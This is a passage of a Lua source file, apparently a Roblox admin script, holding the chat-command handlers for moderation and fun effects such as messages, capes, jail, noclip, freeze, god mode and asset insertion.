  436. if msg:lower():sub(1,3) == "ls " then
  437. coroutine.resume(coroutine.create(function()
  438. if script:findFirstChild("LocalScriptBase") then
  439. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  440. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  441. end
  442. end))
  443. end
  444.  
  445. if msg:lower():sub(1,4) == "ins " then
  446. coroutine.resume(coroutine.create(function()
  447. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  448. if obj and #obj:children() >= 1 and plr.Character then
  449. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  450. end
  451. end))
  452. end
  453.  
  454. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  455. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  456. objects = {}
  457. end
  458.  
  459. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  460. game.Lighting.Ambient = origsettings.abt
  461. game.Lighting.Brightness = origsettings.brt
  462. game.Lighting.TimeOfDay = origsettings.time
  463. game.Lighting.FogColor = origsettings.fclr
  464. game.Lighting.FogEnd = origsettings.fe
  465. game.Lighting.FogStart = origsettings.fs
  466. for i, v in pairs(lobjs) do v:Destroy() end
  467. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  468. end
  469.  
  470. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  471. coroutine.resume(coroutine.create(function()
  472. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  473. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  474. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  475. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  476. end))
  477. end
  478.  
  479. if msg:lower():sub(1,10) == "countdown " then
  480. local num = math.min(tonumber(msg:sub(11)),120)
  481. for i = num, 1, -1 do
  482. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  483. wait(1)
  484. end
  485. end
  486.  
  487. if msg:lower():sub(1,3) == "tm " then
  488. local chk1 = msg:lower():sub(4):find(" ") + 3
  489. local num = math.min(tonumber(msg:sub(4,chk1-1)),120)
  490. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  491. end
  492.  
  493. if msg:lower():sub(1,2) == "m " then
  494. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  495. end
  496.  
  497. if msg:lower():sub(1,2) == "h " then
  498. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  499. end
  500.  
  501. if msg:lower():sub(1,3) == "pm " then
  502. local chk1 = msg:lower():sub(4):find(" ") + 3
  503. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  504. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  505. end
  506.  
  507. if msg:lower():sub(1,11) == "resetstats " then
  508. local plrz = GetPlr(plr, msg:lower():sub(12))
  509. for i, v in pairs(plrz) do
  510. coroutine.resume(coroutine.create(function()
  511. if v and v:findFirstChild("leaderstats") then
  512. for a, q in pairs(v.leaderstats:children()) do
  513. if q:IsA("IntValue") then q.Value = 0 end
  514. end
  515. end
  516. end))
  517. end
  518. end
  519.  
  520. if msg:lower():sub(1,5) == "gear " then
  521. local chk1 = msg:lower():sub(6):find(" ") + 5
  522. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  523. for i, v in pairs(plrz) do
  524. coroutine.resume(coroutine.create(function()
  525. if v and v:findFirstChild("Backpack") then
  526. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  527. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  528. obj:Destroy()
  529. end
  530. end))
  531. end
  532. end
  533.  
  534. if msg:lower():sub(1,4) == "hat " then
  535. local chk1 = msg:lower():sub(5):find(" ") + 4
  536. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  537. for i, v in pairs(plrz) do
  538. coroutine.resume(coroutine.create(function()
  539. if v and v.Character then
  540. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  541. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  542. obj:Destroy()
  543. end
  544. end))
  545. end
  546. end
  547.  
  548. if msg:lower():sub(1,5) == "cape " then
  549. local chk1 = msg:lower():sub(6):find(" ")
  550. local plrz = GetPlr(plr, msg:lower():sub(6))
  551. local str = "torso.BrickColor"
  552. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  553. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  554. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  555. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  556. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  557. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  558. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  559. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  560. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  561. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  562. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  563. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  564. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  565. if BrickColor.new(teststr) ~= nil then str = teststr end
  566. end
  567. for i, v in pairs(plrz) do
  568. coroutine.resume(coroutine.create(function()
  569. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  570. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  571. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  572. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  573. local torso = plr.Character.Torso
  574. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  575. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  576. p.Size = Vector3.new(.2,.2,.2)
  577. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  578. local motor1 = Instance.new("Motor", p)
  579. motor1.Part0 = p
  580. motor1.Part1 = torso
  581. motor1.MaxVelocity = .01
  582. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  583. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  584. local wave = false
  585. repeat wait(1/44)
  586. local ang = 0.1
  587. local oldmag = torso.Velocity.magnitude
  588. local mv = .002
  589. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  590. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  591. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  592. motor1.DesiredAngle = -ang
  593. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  594. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  595. if torso.Velocity.magnitude < .1 then wait(.1) end
  596. until not p or p.Parent ~= torso.Parent
  597. script:Destroy()
  598. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  599. end
  600. end))
  601. end
  602. end
  603.  
  604. if msg:lower():sub(1,7) == "uncape " then
  605. local plrz = GetPlr(plr, msg:lower():sub(8))
  606. for i, v in pairs(plrz) do
  607. coroutine.resume(coroutine.create(function()
  608. if v and v:findFirstChild("PlayerGui") and v.Character then
  609. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  610. end
  611. end))
  612. end
  613. end
  614.  
  615. if msg:lower():sub(1,7) == "noclip " then
  616. local plrz = GetPlr(plr, msg:lower():sub(8))
  617. for i, v in pairs(plrz) do
  618. coroutine.resume(coroutine.create(function()
  619. if v and v:findFirstChild("PlayerGui") then
  620. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  621. cl.Parent = v.PlayerGui cl.Disabled = false
  622. end
  623. end))
  624. end
  625. end
  626.  
  627. if msg:lower():sub(1,5) == "clip " then
  628. local plrz = GetPlr(plr, msg:lower():sub(6))
  629. for i, v in pairs(plrz) do
  630. coroutine.resume(coroutine.create(function()
  631. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  632. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  633. v.Character.Torso.Anchored = false
  634. wait(.1) v.Character.Humanoid.PlatformStand = false
  635. end
  636. end))
  637. end
  638. end
  639.  
  640. if msg:lower():sub(1,5) == "jail " then
  641. local plrz = GetPlr(plr, msg:lower():sub(6))
  642. for i, v in pairs(plrz) do
  643. coroutine.resume(coroutine.create(function()
  644. if v and v.Character and v.Character:findFirstChild("Torso") then
  645. local vname = v.Name
  646. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  647. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  648. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  649. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  650. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  651. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  652. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  653. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  654. end)
  655. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  656. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  657. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  658. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  659. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  660. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  661. local msh2 = msh:Clone() msh2.Parent = back
  662. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  663. local msh4 = msh3:Clone() msh4.Parent = left
  664. v.Character.Torso.CFrame = cf
  665. end
  666. end))
  667. end
  668. end
  669.  
  670. if msg:lower():sub(1,7) == "unjail " then
  671. local plrz = GetPlr(plr, msg:lower():sub(8))
  672. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  673. end
  674.  
  675. if msg:lower():sub(1,11) == "starttools " then
  676. local plrz = GetPlr(plr, msg:lower():sub(12))
  677. for i, v in pairs(plrz) do
  678. coroutine.resume(coroutine.create(function()
  679. if v and v:findFirstChild("Backpack") then
  680. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  681. end
  682. end))
  683. end
  684. end
  685.  
  686. if msg:lower():sub(1,6) == "sword " then
  687. local plrz = GetPlr(plr, msg:lower():sub(7))
  688. for i, v in pairs(plrz) do
  689. coroutine.resume(coroutine.create(function()
  690. if v and v:findFirstChild("Backpack") then
  691. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  692. sword.GripForward = Vector3.new(-1,0,0)
  693. sword.GripPos = Vector3.new(0,0,-1.5)
  694. sword.GripRight = Vector3.new(0,1,0)
  695. sword.GripUp = Vector3.new(0,0,1)
  696. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  697. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  698. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  699. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  700. local Damage = 15
  701. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  702. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  703. SlashSound.Volume = 1
  704. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  705. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  706. LungeSound.Volume = 1
  707. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  708. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  709. UnsheathSound.Volume = 1
  710. local last = 0
  711. script.Parent.Handle.Touched:connect(function(hit)
  712. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  713. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  714. hit.Parent.Humanoid:TakeDamage(Damage)
  715. end
  716. end)
  717. script.Parent.Activated:connect(function()
  718. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  719. script.Parent.Enabled = false
  720. local tick = game:service("RunService").Stepped:wait()
  721. if tick - last <= .2 then
  722. LungeSound:play()
  723. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  724. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  725. wait(.2)
  726. script.Parent.GripForward = Vector3.new(0,0,1)
  727. script.Parent.GripRight = Vector3.new(0,-1,0)
  728. script.Parent.GripUp = Vector3.new(-1,0,0)
  729. wait(.3)
  730. frc:Destroy() wait(.5)
  731. script.Parent.GripForward = Vector3.new(-1,0,0)
  732. script.Parent.GripRight = Vector3.new(0,1,0)
  733. script.Parent.GripUp = Vector3.new(0,0,1)
  734. else
  735. SlashSound:play()
  736. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  737. end
  738. last = tick
  739. script.Parent.Enabled = true
  740. end)
  741. script.Parent.Equipped:connect(function(mouse)
  742. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  743. UnsheathSound:play()
  744. script.Parent.Enabled = true
  745. if not mouse then return end
  746. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  747. end)]] cl.Disabled = false
  748. end
  749. end))
  750. end
  751. end
  752.  
  753. if msg:lower():sub(1,6) == "clone " then
  754. local plrz = GetPlr(plr, msg:lower():sub(7))
  755. for i, v in pairs(plrz) do
  756. coroutine.resume(coroutine.create(function()
  757. if v and v.Character then
  758. v.Character.Archivable = true
  759. local cl = v.Character:Clone()
  760. table.insert(objects,cl)
  761. cl.Parent = game.Workspace
  762. cl:MoveTo(v.Character:GetModelCFrame().p)
  763. cl:MakeJoints()
  764. v.Character.Archivable = false
  765. end
  766. end))
  767. end
  768. end
  769.  
  770. if msg:lower():sub(1,5) == "kill " then
  771. local plrz = GetPlr(plr, msg:lower():sub(6))
  772. for i, v in pairs(plrz) do
  773. coroutine.resume(coroutine.create(function()
  774. if v and v.Character then v.Character:BreakJoints() end
  775. end))
  776. end
  777. end
  778.  
  779. if msg:lower():sub(1,8) == "respawn " then
  780. local plrz = GetPlr(plr, msg:lower():sub(9))
  781. for i, v in pairs(plrz) do
  782. coroutine.resume(coroutine.create(function()
  783. if v and v.Character then v:LoadCharacter() end
  784. end))
  785. end
  786. end
  787.  
  788. if msg:lower():sub(1,5) == "trip " then
  789. local plrz = GetPlr(plr, msg:lower():sub(6))
  790. for i, v in pairs(plrz) do
  791. coroutine.resume(coroutine.create(function()
  792. if v and v.Character and v.Character:findFirstChild("Torso") then
  793. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  794. end
  795. end))
  796. end
  797. end
  798.  
  799. if msg:lower():sub(1,5) == "stun " then
  800. local plrz = GetPlr(plr, msg:lower():sub(6))
  801. for i, v in pairs(plrz) do
  802. coroutine.resume(coroutine.create(function()
  803. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  804. v.Character.Humanoid.PlatformStand = true
  805. end
  806. end))
  807. end
  808. end
  809.  
  810. if msg:lower():sub(1,7) == "unstun " then
  811. local plrz = GetPlr(plr, msg:lower():sub(8))
  812. for i, v in pairs(plrz) do
  813. coroutine.resume(coroutine.create(function()
  814. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  815. v.Character.Humanoid.PlatformStand = false
  816. end
  817. end))
  818. end
  819. end
  820.  
  821. if msg:lower():sub(1,5) == "jump " then
  822. local plrz = GetPlr(plr, msg:lower():sub(6))
  823. for i, v in pairs(plrz) do
  824. coroutine.resume(coroutine.create(function()
  825. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  826. v.Character.Humanoid.Jump = true
  827. end
  828. end))
  829. end
  830. end
  831.  
  832. if msg:lower():sub(1,4) == "sit " then
  833. local plrz = GetPlr(plr, msg:lower():sub(5))
  834. for i, v in pairs(plrz) do
  835. coroutine.resume(coroutine.create(function()
  836. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  837. v.Character.Humanoid.Sit = true
  838. end
  839. end))
  840. end
  841. end
  842.  
  843. if msg:lower():sub(1,10) == "invisible " then
  844. local plrz = GetPlr(plr, msg:lower():sub(11))
  845. for i, v in pairs(plrz) do
  846. coroutine.resume(coroutine.create(function()
  847. if v and v.Character then
  848. for a, obj in pairs(v.Character:children()) do
  849. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  850. end
  851. end
  852. end))
  853. end
  854. end
  855.  
  856. if msg:lower():sub(1,8) == "visible " then
  857. local plrz = GetPlr(plr, msg:lower():sub(9))
  858. for i, v in pairs(plrz) do
  859. coroutine.resume(coroutine.create(function()
  860. if v and v.Character then
  861. for a, obj in pairs(v.Character:children()) do
  862. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  863. end
  864. end
  865. end))
  866. end
  867. end
  868.  
  869. if msg:lower():sub(1,5) == "lock " then
  870. local plrz = GetPlr(plr, msg:lower():sub(6))
  871. for i, v in pairs(plrz) do
  872. coroutine.resume(coroutine.create(function()
  873. if v and v.Character then
  874. for a, obj in pairs(v.Character:children()) do
  875. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  876. end
  877. end
  878. end))
  879. end
  880. end
  881.  
  882. if msg:lower():sub(1,7) == "unlock " then
  883. local plrz = GetPlr(plr, msg:lower():sub(8))
  884. for i, v in pairs(plrz) do
  885. coroutine.resume(coroutine.create(function()
  886. if v and v.Character then
  887. for a, obj in pairs(v.Character:children()) do
  888. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  889. end
  890. end
  891. end))
  892. end
  893. end
  894.  
  895. if msg:lower():sub(1,8) == "explode " then
  896. local plrz = GetPlr(plr, msg:lower():sub(9))
  897. for i, v in pairs(plrz) do
  898. coroutine.resume(coroutine.create(function()
  899. if v and v.Character and v.Character:findFirstChild("Torso") then
  900. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  901. end
  902. end))
  903. end
  904. end
  905.  
  906. if msg:lower():sub(1,4) == "age " then
  907. local plrz = GetPlr(plr, msg:lower():sub(5))
  908. for i, v in pairs(plrz) do
  909. coroutine.resume(coroutine.create(function()
  910. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  911. end))
  912. end
  913. end
  914.  
  915. if msg:lower():sub(1,5) == "fire " then
  916. local plrz = GetPlr(plr, msg:lower():sub(6))
  917. for i, v in pairs(plrz) do
  918. coroutine.resume(coroutine.create(function()
  919. if v and v.Character and v.Character:findFirstChild("Torso") then
  920. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  921. end
  922. end))
  923. end
  924. end
  925.  
  926. if msg:lower():sub(1,7) == "unfire " then
  927. local plrz = GetPlr(plr, msg:lower():sub(8))
  928. for i, v in pairs(plrz) do
  929. coroutine.resume(coroutine.create(function()
  930. if v and v.Character and v.Character:findFirstChild("Torso") then
  931. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  932. end
  933. end))
  934. end
  935. end
  936.  
  937. if msg:lower():sub(1,6) == "smoke " then
  938. local plrz = GetPlr(plr, msg:lower():sub(7))
  939. for i, v in pairs(plrz) do
  940. coroutine.resume(coroutine.create(function()
  941. if v and v.Character and v.Character:findFirstChild("Torso") then
  942. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  943. end
  944. end))
  945. end
  946. end
  947.  
  948. if msg:lower():sub(1,8) == "unsmoke " then
  949. local plrz = GetPlr(plr, msg:lower():sub(9))
  950. for i, v in pairs(plrz) do
  951. coroutine.resume(coroutine.create(function()
  952. if v and v.Character and v.Character:findFirstChild("Torso") then
  953. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  954. end
  955. end))
  956. end
  957. end
  958.  
  959. if msg:lower():sub(1,9) == "sparkles " then
  960. local plrz = GetPlr(plr, msg:lower():sub(10))
  961. for i, v in pairs(plrz) do
  962. coroutine.resume(coroutine.create(function()
  963. if v and v.Character and v.Character:findFirstChild("Torso") then
  964. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  965. end
  966. end))
  967. end
  968. end
  969.  
  970. if msg:lower():sub(1,11) == "unsparkles " then
  971. local plrz = GetPlr(plr, msg:lower():sub(12))
  972. for i, v in pairs(plrz) do
  973. coroutine.resume(coroutine.create(function()
  974. if v and v.Character and v.Character:findFirstChild("Torso") then
  975. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  976. end
  977. end))
  978. end
  979. end
  980.  
  981. if msg:lower():sub(1,3) == "ff " then
  982. local plrz = GetPlr(plr, msg:lower():sub(4))
  983. for i, v in pairs(plrz) do
  984. coroutine.resume(coroutine.create(function()
  985. if v and v.Character then Instance.new("ForceField", v.Character) end
  986. end))
  987. end
  988. end
  989.  
  990. if msg:lower():sub(1,5) == "unff " then
  991. local plrz = GetPlr(plr, msg:lower():sub(6))
  992. for i, v in pairs(plrz) do
  993. coroutine.resume(coroutine.create(function()
  994. if v and v.Character then
  995. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  996. end
  997. end))
  998. end
  999. end
  1000.  
  1001. if msg:lower():sub(1,7) == "punish " then
  1002. local plrz = GetPlr(plr, msg:lower():sub(8))
  1003. for i, v in pairs(plrz) do
  1004. coroutine.resume(coroutine.create(function()
  1005. if v and v.Character then
  1006. v.Character.Parent = game:service("Lighting")
  1007. end
  1008. end))
  1009. end
  1010. end
  1011.  
  1012. if msg:lower():sub(1,9) == "unpunish " then
  1013. local plrz = GetPlr(plr, msg:lower():sub(10))
  1014. for i, v in pairs(plrz) do
  1015. coroutine.resume(coroutine.create(function()
  1016. if v and v.Character then
  1017. v.Character.Parent = game:service("Workspace")
  1018. v.Character:MakeJoints()
  1019. end
  1020. end))
  1021. end
  1022. end
  1023.  
  1024. if msg:lower():sub(1,7) == "freeze " then
  1025. local plrz = GetPlr(plr, msg:lower():sub(8))
  1026. for i, v in pairs(plrz) do
  1027. coroutine.resume(coroutine.create(function()
  1028. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1029. for a, obj in pairs(v.Character:children()) do
  1030. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1031. end
  1032. end
  1033. end))
  1034. end
  1035. end
  1036.  
  1037. if msg:lower():sub(1,5) == "thaw " then
  1038. local plrz = GetPlr(plr, msg:lower():sub(6))
  1039. for i, v in pairs(plrz) do
  1040. coroutine.resume(coroutine.create(function()
  1041. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1042. for a, obj in pairs(v.Character:children()) do
  1043. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1044. end
  1045. end
  1046. end))
  1047. end
  1048. end
  1049.  
  1050. if msg:lower():sub(1,5) == "heal " then
  1051. local plrz = GetPlr(plr, msg:lower():sub(6))
  1052. for i, v in pairs(plrz) do
  1053. coroutine.resume(coroutine.create(function()
  1054. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1055. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1056. end
  1057. end))
  1058. end
  1059. end
  1060.  
  1061. if msg:lower():sub(1,4) == "god " then
  1062. local plrz = GetPlr(plr, msg:lower():sub(5))
  1063. for i, v in pairs(plrz) do
  1064. coroutine.resume(coroutine.create(function()
  1065. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1066. v.Character.Humanoid.MaxHealth = math.huge
  1067. v.Character.Humanoid.Health = 9e9
  1068. end
  1069. end))
  1070. end
  1071. end
  1072.  
  1073. if msg:lower():sub(1,6) == "ungod " then
  1074. local plrz = GetPlr(plr, msg:lower():sub(7))
  1075. for i, v in pairs(plrz) do
